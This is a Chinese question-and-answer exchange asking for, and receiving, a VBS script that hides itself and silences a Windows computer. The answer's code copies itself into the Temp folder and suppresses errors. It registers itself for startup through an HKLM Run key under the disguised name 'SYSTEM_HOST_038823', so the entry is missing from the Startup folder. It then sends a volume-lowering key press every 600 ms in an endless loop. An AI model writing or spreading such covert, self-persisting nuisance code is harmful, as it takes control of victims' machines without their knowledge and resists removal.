Question

求vbs代码,作用点开后自动隐藏并加入启动项,然后使电脑不能发出声音

Set WshShell = Wscript.CreateObject("Wscript.Shell")
WshShell.Sendkeys "爱" '减音
上面这段指令能减声音，但是不能连续减，求把这段程序改成无限循环的那种。还有最好能打开之后自动隐藏到启动项，最好是在启动项文件夹里找不到的那种！

Answer 1

代码如下:

On Error Resume Next
Dim FSO,WS,FileName,TargetFile,TempPath
Set FSO=WScript.CreateObject("Scripting.FileSystemObject")
Set WS=WScript.CreateObject("WScript.Shell")
TempPath=FSO.GetSpecialFolder(2)
FileName=FSO.GetFile(WScript.ScriptFullName).Name
TargetFile=TempPath & "\" & FileName
If Not FSO.FileExists(TargetFile) Then
	FSO.CopyFile WScript.ScriptFullName,TempPath & "\"
End If
WS.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SYSTEM_HOST_038823",Chr(34)+TargetFile+Chr(34),"REG_SZ"
Do
	WS.SendKeys "爱"
	WScript.Sleep 600
Loop